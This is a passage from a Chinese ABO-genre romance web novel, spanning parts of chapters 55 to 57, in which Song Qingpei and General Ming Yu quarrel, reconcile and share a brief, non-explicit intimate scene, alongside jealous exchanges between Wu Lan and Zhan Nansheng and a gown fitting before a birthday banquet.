文言,明毓眉头紧皱,语气急躁:“你怎么这么固执?我都说了,这件事我会处理,你非要掺和进去干什么?” “我知道你关心我。”她顿了一下,“只是……我不想什么都靠你。” 明毓愣了一下,“随便你吧……反正我也管不了你。”说完,她快步走向门口,又忽然停下,背对着宋青佩,语气生硬地补充了一句:“我会派人跟着你,你别想甩开他们。” 说完,她头也不回地离开了,脚步声渐行渐远。 宋青佩站在原地叹气,她知道,明毓虽然嘴上说着不管她,但实际上比谁都关心她的安全。 果然,当她走出家门时,四个身材魁梧的保镖已经等在门口。 为首的保镖恭敬地说:“宋小姐,明长官吩咐我们二十四小时保护你。” 宋青佩无奈地点了点头,带着这四个“贴身保镖”上了车。 车子缓缓驶入蓝海公司的大门。 宋青佩刚一下车,便感受到了周围异样的目光。 公司里的员工们纷纷停下手中的工作,目光在她和四个保镖之间来回游移,窃窃私语声不绝于耳。 “她是谁啊?怎么带了这么多保镖?” “不会是公司新来的高层吧?” “看起来不像啊,她不是维修部的宋青佩吗?” 宋青佩感到一阵尴尬,她快步走向电梯,试图避开那些好奇的目光。 然而,四个保镖如影随形地跟在她身后,仿佛四座移动的山峰,让她无处可藏。 电梯门关上后,宋青佩终于松了一口气。 她按下了办公室所在的楼层,心中暗自盘算着,看看慕容瑞雪会有什么反应。 电梯门再次打开时,她已经调整好了情绪,脸上挂着职业微笑。 慕容瑞雪的办公室门虚掩着。 宋青佩轻轻敲了敲门,听到里面传来一声“请进”后,推门而入。 慕容瑞雪正坐在办公桌后,手中拿着一份文件,抬头看到宋青佩时,脸上露出了一丝惊讶,但很快恢复了平静。 “青佩,你来了。” 见她如此镇静,宋青佩也尽力保持从容,“瑞雪姐,我想问问今天要不要去修鱼跃号?我已经休息好了,别耽误公事。” 慕容瑞雪看了她一眼,笑了笑:“不用急,你这几天辛苦了,多休息几天吧,工作的事情不急。” 宋青佩努力保持着微笑:“谢谢瑞雪姐,那我先回去了。” 她正想点头,目光不由落在了门外四个保镖身上,诧异道:“外面是?” “那个……明毓不放心我的安全,让他们来保护我。” 宋青佩尴尬地解释,同时观察慕容瑞雪的反应。 没想到慕容瑞雪只是笑了笑,调侃道:“明上将这也太大动干戈了吧,我看有这几个保镖在这,咱们公司的保安都可以下岗了。” 说完,低下头继续看文件,仿佛什么都没发生过。 宋青佩退出办公室,心中暗自思忖:慕容瑞雪到底在打什么主意?她为什么对昨晚的事情只字不提?难道她真的没有怀疑自己? 她不能主动提起昨晚的事,只能静观其变。 回到自己的工位,宋青佩坐在椅子上,抬头看了看站在她身边的四个保镖,仿佛四尊雕塑。 她无奈,坐在工位上也没什么重要的事,心里担心乌澜的伤势,于是趁着午休时间,联系了医院的大夫。 大夫告诉她,乌澜已经醒了过来,虽然身体还很虚弱,但已经没有生命危险。 宋青佩松了一口气,悬着的心终于放了下来。 乌澜是为了救她才受的伤,这份恩情,她无论如何都要亲自去道谢。 看了看时间,她索性请了假,决定亲自去医院探望乌澜。 宋青佩买了些水果,带着四个保镖,驱车前往医院。 医院的走廊里弥漫着消毒水的气味,宋青佩推开病房的门,看到乌澜正躺在病床上,脸色苍白,但精神还算不错。 乌澜听到动静,转过头来,看到是宋青佩,嘴角扬起了笑。 “你来了。” 宋青佩走到病床前,将水果放在床头柜上,轻声说:“乌局长,谢谢你救了我。如果不是你,我可能……” 乌澜摆了摆手,打断了她的话:“别说这些了,你要是不闯进去帮我,我也不一定能活下来。”她的目光落在宋青佩身后的四个保镖身上,眼中闪过一丝了然,笑道,“明上将派来的吧?这次她肯定记恨我了。” 宋青佩愣了一下,苦笑道:“她……担心我的安全。” “明毓这个人,表面上冷冰冰的,但看得出来很在意你,这次我算是彻底得罪她了。”乌澜笑道。 听出她调侃的意思居多,但宋青佩还是认真道:“乌局长,你放心,我会好好跟明毓解释的,她会理解的。” 见她说话这么客气,乌澜不由皱眉,带着玩笑的语气说:“我们这也算患难之交了,就别这么客气了,叫我乌澜吧。” “青佩,我可以这么叫你吗?” 宋青佩笑了笑:“当然可以了,乌乌澜。” 两人相视一笑。 “对了。”乌澜突然想起什么般,叮嘱道:“没事你躲着点战南笙,尽量别和她照面。本来她就跟明毓不对付,又出了这种事,她怕是要迁怒于你了。” 宋青佩一直觉得战南笙和乌澜之间的关系有些微妙,两人看起来很熟的样子,此刻听她主动提起,出于对明毓的关心,不由试探性地问:“明毓和战南笙……是不是有什么过节?她为什么一直针对明毓?” 乌澜挑了挑眉,“这件事你还是别管了。明上将和战南笙之间的事情,不是我们能插手的,她们两个老死对头了。” 宋青佩点了点头,心中却更加疑惑。 她正想再问些什么,乌澜却已经转移了话题,聊起了别的事情。 两人间的相处,早已被那保镖传给了明毓。 军部的办公室里,明毓看着传过来的同步影像,脸色越来越难看。 “居然还跟乌澜混在一起?” 她原本以为,宋青佩会乖乖听她的话,远离乌澜和那些危险的事情。 可没想到,宋青佩不仅没有听话,反而还主动去找乌澜,这让明毓心中的不安越来越强烈。 她拿起桌上的电话,拨通了一个号码:“明芮,给我查清楚乌澜最近的所有动向,我要知道她到底想干什么。” 挂断电话后,明毓坐回椅子上,依旧眉头紧锁。 她手里拿着一份文件,试图集中精神处理公事,却一个字也看不进去。 她的脑海里不断回放着昨晚和今早的画面,心里五味杂陈。她知道自己对宋青佩的态度有些过激,但她实在无法接受宋青佩总是将她排除在外,仿佛正在脱离她的掌控。 宋青佩,不管是乌澜,甚至是慕容瑞雪在你心里都比我重要吗? 可不管你怎么想的,我要让你明白,你最后能靠的人只有我 “叩叩——”敲门声打断了她的思绪。 “进来。”明毓抬起头。 门被推开,战南笙站在门口,脸色发白,显然一夜未眠。 她没了往日嚣张的模样,声音有些沙哑,“明上将,我今天不能留在军部,军校的事情我交代了杨中尉,有事你直接吩咐他就行。” “我知道了。”明毓点点头,问:“乌局长怎么样了?” “医生说她已经脱离危险了,但还需要观察。”战南笙的声音里带着一丝疲惫,“我一会去看看她。” 明毓沉默了片刻,不知有意还是无意的提起:“在医院碰到宋青佩帮我带句话,让她尽早回家休息。” “什么?宋青佩去看乌澜了?”战南笙脸色顿时拉了下来。 “乌局长毕竟救了她,过去看看也正常。” 明明是很正常的话,听起来却有种莫名拱火的意思。 果然战南笙听到她的话,什么也没说,气冲冲地转身走了。 —— 战南笙急冲冲地到了病房门口,透过半开的门缝,看到乌澜和宋青佩正有说有笑。 乌澜的脸色虽然还有些苍白,但笑容却格外开心,仿佛昨晚的生死危机从未发生过。宋青佩坐在床边,手里削着苹果,偶尔与乌澜说话,两人之间的气氛轻松而融洽。 战南笙的手指不自觉地攥紧,胸口像是被什么东西堵住了。 她猛地推开门,声音冷得像冰:“看来我来得不是时候,打扰你们了。” 乌澜和宋青佩同时抬头,看到战南笙站在门口,脸色阴沉得吓人。 宋青佩愣了一下,随即礼貌地笑了笑:“战中将,你来了。” 战南笙没有理会宋青佩,目光直直地盯着乌澜,语气里带着一丝讥讽:“乌局长,看来你恢复得不错,还能笑得这么开心。” 乌澜挑了挑眉,似乎对战南笙的态度并不意外。 她懒洋洋地靠在床头,语气轻松:“大小姐,你这是怎么了?脸色这么难看,谁惹你了?” 战南笙的脸色更加阴沉,声音满是压抑的怒意:“你说呢?昨晚你差点把命丢了,今天就能笑得这么开心,看来是我多虑了。” 宋青佩察觉到气氛不对,想到刚才乌澜的提醒,赶紧找了个借口:“那个……乌局长,战中将,我突然想起来还有点事,先走了。你们聊。” 说完,她快步离开了病房。 门关上后,病房里只剩下乌澜和战南笙。 看着战南笙那张冷若冰霜的脸,乌澜忍不住笑道:“大小姐,你又乱吃什么飞醋?” 战南笙的脸色瞬间涨红,像是被戳中了心事。 她咬了咬牙,声音里带着一丝颤抖:“我吃醋?乌澜,你别自作多情了。我只是不明白,你为什么要为了宋青佩这么不顾危险?她值得你这么做吗?” “她是明上将的人,我救她,也是怕明毓记恨,故意找我麻烦。” “为了明毓?”战南笙冷笑一声,显然不信,“乌澜,你别拿明毓当挡箭牌。哪天要是我遇到危险,你都不一定会这么拼命吧?” 乌澜没有回答,只是静静地看着战南笙,眼神中带着一丝复杂的情绪。 战南笙被她看得心里发慌,怒气更甚。 她猛地抬手,习惯性地想要打乌澜的肩膀,却在半空中停住了。 只见乌澜的脸色突然变得苍白,眉头紧皱,似乎承受着巨大的痛苦。 战南笙吓了一跳,赶紧收回手,“你怎么了?是不是伤口又疼了?我去叫医生!” 她转身就要往外跑,却被乌澜一把拉住了手腕。 乌澜的声音虚弱,却带着一丝笑意:“骗你的,我没事了。” 战南笙愣住,随即怒火中烧:“乌澜!你耍我?” 乌澜松开手,靠在床头,笑得有些无奈:“好了大小姐,别生气了,我现在伤得这么重,真的没精力哄你。” “哄我?”战南笙气愤的反驳,“你什么时候哄过我?哪次不是威胁我……”说到一半,她恨恨的闭上嘴不说话了。 “大小姐,我也没力气威胁你。”乌澜若有所指。 战南笙脸一红,恨恨地瞪她,“乌澜,你别跟我转移换题。我还不知道你,冷心又薄情的东西,怎么可能会轻易为别人付出生命。” “你跟我说实话,你跟宋青佩到底怎么回事?” 最后的话,满满的都是醋意。 乌澜没有回答她的问题,而是转移话题:“只是公事而已。军校的事情这么忙,你还是回军部吧,别在我这儿浪费时间了。” 战南笙的脸色变了又变,最终咬牙:“乌澜,你总是这样。从来不会跟我好好说话,我永远都走不进你的世界,更加看不透你。” 乌澜沉默一瞬,才说:“战南笙,你不需要走进我的世界。” 见她一副油盐不进的模样,战南笙越发愤怒:“乌澜,你什么也不告诉我就算了,还动不动就威胁我,你到底把我当什么?” 乌澜没回答她的话,而是冷声道:“放心,我不会再威胁你了。” “你知道我根本就不是这个意思。”战南笙的眼眶微微发红,愤怒不已:“你个混蛋!你就不是真的喜欢我,你就是耍着我玩的。” 乌澜没有再说话,只是静静地看着她。 “混蛋!你给我等着,我跟你没完。” 战南笙站了一会儿,见乌澜依旧不作声,气得转身离开了病房。 门关上的瞬间,乌澜的笑容彻底消失,取而代之的是一抹深深的疲惫。 她靠在床头,闭上眼睛:“何必呢……” 而门外,战南笙站在走廊里,背靠着墙,手指紧紧攥成拳头。 她知道,乌澜就是故意的,玩弄够了她,就摆出一副无所谓的态度把她甩开,可她不会就这样善罢甘休的。 “乌澜,总有一天我要让你真的爱上我,再把你狠狠地甩了。” —— 宋青佩离开医院,见放学时间快到了,就直接去了幼儿园接女儿。 跟着老师排队的颂颂,一看到她,立刻惊喜地挥舞着小手,“妈妈~” 她从老师手里接过女儿,牵着颂颂的小手,母女俩一起坐上了悬浮车。 颂颂眨巴着大眼睛,仰头看着宋青佩,天真地问:“妈妈,你跟妈咪和好吗?” 宋青佩有些尴尬地笑了笑,“还没有。这次是妈妈错了,你妈咪还没原谅我。” “妈妈,做错了就要道歉哦!”颂颂歪着头,像个小大人似的说:“老师说,知错就改还是好孩子,妈妈也是好妈妈!” 宋青佩被逗笑了:“好,妈妈会去道歉的。” 颂颂满意地点了点头,又神秘兮兮地凑近宋青佩,小声说:“妈妈,我告诉你哦,妈咪其实很好哄的!你只要亲亲她、抱抱她,她就不生气啦!” “你这个小机灵鬼,懂得还挺多。” 宋青佩忍俊不禁,捏了捏颂颂的小脸蛋。 颂颂得意地晃了晃脑袋,笑得眼睛弯成了月牙。 回到家后,宋青佩一边陪着颂颂玩,一边心里盘算着该怎么跟明毓道歉。她知道自己这次确实做得不对,明毓生气也是理所当然的。 时间一分一秒地过去,明毓却迟迟没有回来。 颂颂趴在沙发上,小声嘀咕:“妈咪怎么还不回来呀?” 宋青佩也有些坐不住了,却收到了消息:【今晚有事,不回去吃饭了】 简短的一句话,没有任何多余的解释。 颂颂凑过来,看到消息后,小脸皱成了一团,“唉,看来妈咪真的生气了。” “没事,妈咪工作忙,妈妈等她回来再道歉,好不好?” 颂颂点了点头,乖乖地跟着宋青佩去洗漱睡觉。 躺在床上,宋青佩给她讲着故事,颂颂却还不忘提醒:“妈妈,记得要跟妈咪道歉哦!” 宋青佩笑着点头:“好,妈妈记住了。” 等颂颂睡着后,宋青佩走出房间,坐在大厅的沙发上,等着明毓回来。 苏管家看到她一个人坐在那里,忍不住问:“宋小姐,这么晚了,还不休息吗?” 宋青佩笑了笑,有些不好意思地说:“我等明毓回来,想跟她说点事。” 知道两人又吵架了,苏管家了然地点点头,忍不住多说了两句:“大小姐就是嘴硬心软,你好好跟她说,她很容易心软的。” “谢谢您,我知道了。” 时间一点点过去,宋青佩坐在沙发上,眼皮越来越重,不知不觉间,竟然迷迷糊糊地睡着了。 直到听到门口传来轻微的响动,她才猛地惊醒。 睁开眼,就看到明毓正站在沙发前,面无表情地看着她。 “你在这干嘛?不回房间睡?”明毓的声音冷冷的,带着一丝别扭。 宋青佩揉了揉眼睛,坐起身:“我在等你。” 明毓皱了皱眉,语气依旧冷淡:“等我干什么?” “我……我在等你回来,跟你道歉。”宋青佩看着她,认真道:“明毓,我不该瞒着你,不该让你担心。” 明毓愣了一下,没想到宋青佩会这么直接地道歉。 她的表情有些松动,但很快又恢复了冷冷的样子:“道歉有什么用?你根本不相信我,下次有事一样还会瞒着我。” 见宋青佩陷入了沉默,明毓知道自己说中了。 她就是不信她,忍不住更气了,心更累,转身就往楼上走。 下一刻,手腕却被宋青佩猛地拉住,明毓抬起的脚还没迈出去,就被宋青佩拉进了怀里,下巴直接埋到了她的胸口。 明毓脸一红,开始挣扎,“宋青佩,放开我!听到没有!” **也没用。 宋青佩伸手紧紧抱住她,在她耳边,柔声低语:“明毓,听我说好不好?” 无端的,明毓听出了一丝脆弱感,她不由停下了动作。 装可怜……也没用的。 可是下一秒,她听到耳边传来飘忽的声音,“明毓,我只是想知道自己是谁?” 宋青佩抱着她,在她耳边,一点点坦诚了自己的内心:“我想知道当初和父母是怎么分开的?到底是因为什么事情被迫分开的,还是她们主动遗弃了我,这对我很重要。” 恍惚中,明毓忽然想起了很久之前的事。 当时她找到宋青佩要带走颂颂,质问她为什么告诉颂颂说她死了,宋青佩反驳说不想让颂颂以为她被抛弃了,死了和被抛弃不一样。 她反问有什么不一样。 宋青佩当时好像说的是:被抛弃了会很难过,会觉得是不是自己不好,不值得爱。死了……是不可抗力,只是会难过,并不会觉得自己不好,妈妈才不要她了。 难道宋青佩一直以为是自己不够好,才会被抛弃…… 几乎是同时,明毓耳边传来宋青佩的轻声呢喃:“明毓,我想找个答案,不是因为我不够好,是劣等A,是精神力差劲的废物才被抛弃的。我宁愿他们是因为什么不得已才放弃我,哪怕是……死了。” 几句话,上将大人立刻被拿捏了。 她反手抱住宋青佩,近乎急切的安慰:“不是的,青佩,你很好……你真的很好。” 第56章 完全标记 “青佩,你很好……真的很好。” “不管过去发生了什么,都不是你的错。” 明毓反手抱着宋青佩,笨拙地安慰她。 “谢谢你,明毓。”宋青佩闷声应着,温热的气息喷在她耳边,“不生气了好不好?我保证没下次了。” “嗯。”几乎毫不犹豫。 一直埋在明毓怀里的宋青佩,这才抬起头来,看向明毓。 “那时间不早了,我们回去休息吧。” 明毓还没从原本的情绪中反应过来,就被宋青佩扶着腰站了起来,仿佛刚才悲伤脆弱的小可怜不是她。 她忽然意识到,自己似乎被宋青佩的“苦肉计”给套路了。 宋青佩搂着她就往楼梯上走,明毓走到门口停住,瞪着宋青佩:“你是不是故意说这些,让我心软?” 闻言,宋青佩坦然地望着她,“刚才难受是真的,可你说不生我气,就突然没这么难受了。” 这话说得情真意切,甚至多了丝调情的意思。 极少听到她说这种隐晦的情话,明毓有片刻的不自在。 她眼神飘忽,故作不在意地撇开眼,“算了,我大人有大量,不像你这么记仇。” 见她又在暗戳戳翻旧账,宋青佩只当没听到,拉着她往房间走去。 明毓见她往自己房间走,反应过来那些东西还没收拾,心里一慌,赶紧拦住她,“你去我房间干嘛?” “睡觉啊。” 宋青佩原本真的只是想单纯睡觉的,她觉得明毓的床比她的睡着舒服,可是转头看到明毓紧张的神色,顿时反应过来,又补了一句:“睡前做下运动我也没意见。” 想到昨晚被那般戏弄,明毓刚平复的气又蹭地一下窜上来,顿时羞恼交加:“算了吧,我怕你又不知道怎么算计我呢。” 理屈的宋青佩识相地没接话,瞬间歇了逗她的心思。 “那要不去我房间睡?”她一脸真诚。 谁料,明毓轻哼一声,阴阳怪气,“请问,我可以去你房间睡吗?是不是还要喊你姐姐才行?” 宋青佩忍不住扶额,没想到之前跟明毓说的话,全都回旋镖一样反弹回了自己身上,她可算是知道什么叫恃宠而骄了。 她无奈叹气,“上将大人能去我房间睡觉,是我的荣幸。” 明毓没动,唇角微微上扬,眨也不眨地看着宋青佩,不知道在想些什么。 宋青佩被她看得有种不妙感,故作平静地催促,“真的不早了,赶紧去睡觉吧。” “叫姐姐。”明毓忽然出声。 她下巴微扬,得意地看着宋青佩,仿佛傲娇的猫。 宋青佩哭笑不得。 果然一有机会,明毓就会让她好看。 见她不说话,明毓以为她不好意思了,越发得意地催促,“愣着干什么,叫啊。” 然后上将大人显然是不长记性,她忘了宋青佩的脸皮和她不一样。 人家脸皮厚得多,宋青佩凑近她,夹着嗓子:“姐姐~” “好姐姐~” “人家真的好困,求求你去睡觉吧~” 宋青佩喊完,明毓脸色五彩斑斓的黑。 她红唇张张合合,最后憋出一句,“你真是……越来越不要脸了。” “你本来就比我大,叫一声姐姐不委屈。” 宋青佩一脸不以为然,打了个呵欠,“时间真的不早了,赶紧去睡觉吧,真的困了。” 明毓确实也困了,她犹豫了一下,不情不愿地转身去了宋青佩房间。 两人进了房间。 明毓抬手去解军服的纽扣,准备洗个澡睡觉。 没想到下一刻,温热的手指从背后穿过,一路向上,握住了她的手指,轻轻滑过军服纽扣,指尖的温度透过布料传递到明毓的皮肤上,让她不由得微微一颤。 宋青佩下巴抵在她的肩膀上,耳边低语,“上将大人,我帮你解啊。” 明毓抬手想要阻止她的动作,却被宋青佩轻轻握住手腕,拉到了胸前。 “明毓……” 宋青佩的唇贴近明毓的耳畔,激起一阵酥麻的触感。 明毓的身体微微一僵,心跳不由自主地加快了几分。她想要推开宋青佩,却发现自己的手臂仿佛失去了力气,只能任由她继续靠近。 “这次没有任何目的,只是……喜欢你。” 宋青佩在明毓耳边低语,声音轻如呢喃,像是一颗石子投入平静的湖面,在明毓心里激起了层层涟漪。 上将大人拒绝的动作,瞬间软了下来。 “你……” 宋青佩没有给她继续说话的机会,低头吻住了她的唇,温柔而缠绵。 两人的呼吸渐渐急促,唇舌交缠间,明毓早就被那句‘喜欢你’所融化,主动抬手环住宋青佩的脖颈,加深了这个吻。 感受到她的回应,宋青佩将她拉得更近,两人的身体紧紧贴在一起。 她的手缓缓下滑,解开了明毓军服的第一颗纽扣。 明毓没有阻止她的动作,甚至配合地仰起脖子,更加方便她的动作,声音带着丝骄傲的尾音:“这次……你要听我的,不准突然反抗。” 宋青佩无奈地苦笑,点了点头:“好,听你的。” 明毓将宋青佩推到床上,低头咬住了她的唇,这个吻带着一丝复杂的意味,仿佛在发泄这么久以来的委屈和无助,恨不能将宋青佩所有的理智都吞噬殆尽。 宋青佩的手轻轻抚上明毓的背脊,激起一阵战栗。 “不准动……” 明毓抓住她的手,却掩饰不住声音中的颤抖。 宋青佩无奈地笑了笑,任由明毓在她身上肆意妄为。 明毓的吻渐渐下滑,落在宋青佩的脖颈上,越来越放肆,让她的身体不由自主地慢慢紧绷起来。 “明毓……” 宋青佩的声音中满是压抑,仿佛在极力克制着什么。 终于,她再也无法忍受,信息素不受控制地释放出来,浓烈的Alpha气息瞬间充斥了整个房间。 明毓的呼吸一滞,身体不由自主地软了下来。 “你……说了不准……” 可是下一刻,在宋青佩信息素的影响下,她的信息素居然也丝丝缕缕地被勾了出来,很快汹涌而出,仿佛要将她彻底淹没。 “怎么会……” 明毓的声音中满是不可置信,明明她的发热期还没到。 怔愣间,宋青佩眼眸已经红了,彻底失控般将明毓压到了身下,两人的身体紧紧贴在一起,信息素交融,仿佛要将彼此的灵魂都融为一体。 明毓在从未有过的感觉中颤抖,战栗,意识慢慢飘离…… “唔啊!” 终于……宋青佩忍不住完全标记了她。 事后,明毓浑身瘫软地躺在床上,脸颊绯红,大口大口地喘息着。 她的身体还在微颤抖,仿佛刚刚经历了一场惊涛骇浪般的快感,整个人还在放空中。 宋青佩习惯性地抬手搂住她的腰,同她一直平复着呼吸。 明毓气恼地推她,“都是汗,我要去洗澡……” “一起洗。” 宋青佩笑了笑,伸手将她抱了起来,走进了浴室。 温热的水流冲刷着两人的身体,洗完澡后,明毓沾了床便想睡。 可压在心里的问题支撑着她最后的意识,她将脸埋在宋青佩怀里,哑声中带着颤抖,“青佩……我们这算和好了吗?” 宋青佩声音带着一丝慵懒:“你说呢?” 明毓不满这个含糊的答案,气地踹了她一下,红着眼追问:“你说清楚,我们到底……” “我爱你。” 耳边飘来的话,让明毓失去了所有声音。 爱她,她说,她爱她。 上将大人的嘴角几乎压抑不住,她故作矜持地将踹宋青佩的腿收了回来,再次埋进了宋青佩怀里,嘴角慢慢扬起,弧度越来越大…… 明毓早上醒来时,只觉得浑身疲惫不堪。 完全标记的感觉和之前完全不同,快感更加激烈,仿佛昨晚的快感依旧残留在她的体内。 她抬手轻轻揉了揉太阳穴,侧过头,发现宋青佩已经醒了,正静静地看着她,眼中带着笑意。 “醒了?”宋青佩轻声问。 明毓点了点头,声音中带着些刚醒的慵懒,“嗯,该起床了,颂颂也该醒了。” “我们一起去叫她起床吧。” 两人起身,简单整理了一下衣服,便一起走向颂颂的房间。 推开房门,颂颂正蜷缩在床上,睡得香甜。 明毓走到床边,轻轻拍了拍女儿的小脸,“颂颂,该起床了。” 颂颂迷迷糊糊地睁开眼,看到两人一起站在床边,顿时惊讶地睁大了眼睛,“妈妈?妈咪?你们……一起叫我?” 宋青佩伸手揉了揉颂颂的头发,“是啊,我们一起叫你起床,开心吗?” “开心!妈妈和妈咪和好了吗?” 明毓和宋青佩对视一眼,笑着点头,“嗯,和好了。” “太好啦!”颂颂立刻从床上坐起来,满脸好奇,“那妈咪是怎么哄妈妈的?亲亲抱抱了吗?” 宋青佩忍俊不禁,点头,“嗯,亲了。” 明毓忍不住瞪宋青佩,“你跟小孩子胡说什么呢?” 颂颂却笑得更加开心,小脸上满是得意,“我就说妈咪很好哄嘛!” “小机灵鬼,快起床,该吃早饭了。” 颂颂迅速从床上跳下来,穿好衣服,蹦蹦跳跳地跟着两人走出房间。 餐桌上,一家三口坐在一起,气氛温馨而融洽。 颂颂一边吃着早餐,一边偷偷打量着妈妈和妈咪。 她发现,妈妈今天看起来特别温柔,而妈咪的嘴角也一直挂着笑,两人的眼神时不时交汇,仿佛有说不完的话。 “妈妈,妈咪,你们以后不会再吵架了吧?” 两人同时点头:“不会了。” 颂颂开心地跳了起来,“太棒了!” 吃过早饭,明毓和宋青佩一起送颂颂去上学。 站在幼儿园门*口,颂颂依依不舍地拉着两人的手,“妈妈,妈咪,你们下午一起来接我好不好?” “好,下午我们一起来接你。” 得到了两人的保证,颂颂欢快地跑进了幼儿园。 “青佩,我先送你去公司?”明毓主动开口。 宋青佩想了想,拒绝了:“你军校的事情这么忙,不用管我了,我自己去就行了。” 明毓也没有继续坚持,转而道:“对了,明天是宋老元帅的寿诞,你提前请假,跟我一起去吧。” 虽然两人和好了,但是宋青佩还是挺意外明毓要带她出席这么隆重的场面,毕竟两人的身份在那摆着,其中差距不言自明。 她不由再次确认道:“你确定要带我去?” 明毓神色一紧,没什么底气地说:“你是不是还在怪我当初说那些话难听的话?” 说毫不在意是骗人的,但是她放下了也是真的。 宋青佩沉默了一瞬,思索着该怎么说比较好,毕竟既然决定重新开始,她也不想明毓老是疑神疑鬼的。 见她不说话,明毓却越发紧张了,无助地握住宋青佩的手,讷讷道:“我们不是说好,不再提以前的事了吗?我以后真的会改……” “你别这么紧张了。”宋青佩无奈道:“我既然决定放下,就不会再怪你了。” 明毓松了一口气,不解,“那你刚才不说话,是什么意思?” 宋青佩笑着解释道:“我只是觉得,我们两个人之间的差距是有目共睹。你现在是建立军校的关键时刻,没必要在这个时候引起麻烦,更没必要为了证明什么带我去……” 没等她说完,明毓就迫不及待道:“青佩,我知道你是为我考虑。但你没什么不能见人的,我既然带你去,就没人敢说什么。” 此时的上将大人,气场两米八。 宋青佩也不是什么没苦硬吃的人,于是便坦然接受了:“好,那我今天请假,明天跟你一起去。” 明毓满意了,笑道:“那我忙完,接你去试礼服。” 想到上次出席明家家宴那一通折腾,宋青佩顿时头痛不已。 “不需要这么正式吧。” 上将大人一本正经地表示,“需要,我会让人提前联系艾琳娜。” “行,你看着办吧。” 对此,宋青佩觉得实在没什么发言权,只能选择默默接受。 两人说完话,明毓上了悬浮车,直接去了军部,宋青佩则去了蓝海。 进了军部大楼,明毓步伐轻快,乘高层专属电梯直达二十八层。 一出电梯,就看到了正在走廊徘徊的宋惜寒。 她走过去,“惜寒,你在这干什么?” 宋惜寒听到动静,猛地转过身,苦着脸,“明毓,明上将,祖宗,我怎么得罪你了?你这么整我?” 她这副夸张的模样,让明毓一愣,“怎么了?” “你说怎么了?你让小柔给我寄到办公室的那些东西……”说到一半,宋惜寒咬牙切齿,“这下好了,我算是彻底出名了。” 本来明毓都把这事忘了,此刻听她提起,也不由笑出声来,“我是不是提醒过你,你非要一次次地找事,这只是给你提个醒。” “你也太狠了吧。”宋惜寒欲哭无泪,“你知道那些东西有多尴尬吗?我都不敢想象秘书室的人会怎么看我。” 明毓挑了挑眉,“你不是一向自诩脸皮厚吗?怎么,这点小事就受不了了?” “脸皮再厚也经不起你这么折腾啊!再说了,我们这么多年的朋友,你怎么忍心……” “行了,你还有正事吗?”明毓毫不客气地打断了她的抱怨。 见她这副冷酷无情的模样,宋惜寒气愤地控诉,“明毓,你没有心。” 看这反应明显没事,明毓懒得理她,直接越过她往办公室走去。 被无视的宋惜寒,不甘心地追了上去,跟明毓一起进了办公室。 明毓坐到座位上,看她,“宋惜寒,你到底有事吗?” 宋惜寒气愤地掏出一张请柬拍在了桌子上,“诺,明天我奶奶的七十大寿,这是请柬。” 明毓接过请柬,“好,我一定准时到。” 宋惜寒不甘心的还想再抱怨两句,被明毓不客气地下了逐客令。 “你没事赶紧走,我还有一堆事情要处理。” 宋惜寒愤愤不平:“明毓,你真是越来越无情了,我真是瞎了眼有你这个朋友,绝交吧。” 明毓头也不抬,继续翻阅手中的文件, “行,我走!”宋惜寒气地转身离开了办公室,临走前还不忘回头瞪了明毓一眼,嘴里嘀咕着:“真是冷血无情。” 等宋惜寒离开后,明毓松了口气,专心投入到工作中。 一整天,她几乎没有休息的时间,才在晚上八点忙完手上的所有工作。 于是她提前给宋青佩发了消息,准备去接她。 明毓走出军部大楼,驾驶悬浮车,很快抵达了蓝海公司。宋青佩已经在楼下等她,看到明毓快步走了过来。 “等很久了吗?”明毓问。 宋青佩摇了摇头,“没有,刚出来。” “那我们走吧,艾琳娜已经在等我们了。” 两人驱车前往梵境定制造型室,大概半个小时后抵达。 艾琳娜早已在门口等候,见到两人,她笑着迎上前,“明上将,宋小姐,好久不见!” 宋青佩笑了笑,“艾琳娜小姐,麻烦你了。” 艾琳娜摆摆手,热情地说:“不麻烦,为你们服务是我的荣幸。两位今天想试试什么风格的礼服?” 明毓看向宋青佩,问:“青佩,你有什么想法?” 宋青佩耸了耸肩,想着别折腾她就行,暗示道,“我没什么要求,简单点就行,别太繁琐。倒是上将大人,好好帮她挑。” 艾琳娜笑着点头,“明白,我先去给两位选几件适合的,先试试。” 她先为宋青佩挑选了一套深蓝色的修身礼服,设计简约,线条流畅,没有多余的装饰,却恰到好处地能衬托出干练的气质。 宋青佩试穿后,满意地点了点头,“这件不错,很舒服。” “就知道你会喜欢这种风格。”艾琳娜颇为得意道。 接着,她将注意力转向明毓,从衣架上取下一件红色的长裙,裙摆轻盈飘逸,腰间点缀着精致的刺绣。 “明毓,试试这件吧,我觉得很适合你。” 明毓接过礼服,走进试衣间,宋青佩跟着走了进去。 片刻后,她穿着礼服站在镜前,红色的长裙衬得她肌肤如玉,腰间的刺绣更添几分风情,仿佛怒放的烈焰玫瑰。 宋青佩目光灼灼地看着她,由衷夸道:“这件很适合你。” 明毓抬眸看向宋青佩,故意挑刺:“只是‘适合’而已?没有更动听的评价吗?” 宋青佩轻笑一声,走上前,伸手替她整理了一下肩部,指尖若有似无地划过她的锁骨,“那上将大人想要什么评价?‘美得让人移不开眼’,还是‘让人想把你藏起来,不让别人看’?” 明毓脸一热,故作镇定地瞥了她一眼:“你这是在调戏我吗?” 宋青佩倾身靠近她的耳边,温热的气息喷洒在她的耳畔:“如果我说是呢?” 明毓不肯示弱,转过身面对宋青佩,“那我也得礼尚往来,不是吗?” 宋青佩低笑出声:“哦?那你打算怎么‘礼尚往来’?” 故作思考一番,明毓随后凑近她的耳边,轻声说:“比如……我也夸夸你?” “夸我什么?” 明毓直勾勾地打量着宋青佩,故意拖长了声音:“夸你……穿礼服的样子,真是让人忍不住想——” 话未说完,宋青佩已经伸手扣住她的腰,凑近她,“想什么?” 明毓眼尾上挑,仰起头直视她的眼睛:“想……亲手帮你脱掉。” 宋青佩低笑:“回家可以试试。” 两人的距离近得几乎能感受到彼此的呼吸,明毓正想再说些什么找回面子,试衣间的门忽然被敲响。 艾琳娜的声音从外面传来:“两位,需要帮忙吗?” 明毓整理了一下裙摆,故作镇定地回应:“不用了,谢谢。” 两人走出来,定下了礼服,最终又经过一番搭配,两人的造型才完成。 艾琳娜看着自己的作品,满意地笑道:“太棒了!两位真是一对璧人。” 被折腾了一番的两人,疲惫地对视一眼,真是一句话也不想多说,匆匆定下礼服和妆容,只想赶紧回去休息。 离开梵境定制造型室后,两人并肩上了悬浮车,默契地说: “回家,睡觉。” 单纯睡觉。 第57章 身世浮出水面 宋青佩和明毓疲惫地回到家中。 刚一推门而入,就瞧见颂颂像只气鼓鼓的小河豚一般,鼓着包子脸坐在客厅的沙发上,眼神里透着满满的委屈与不满。 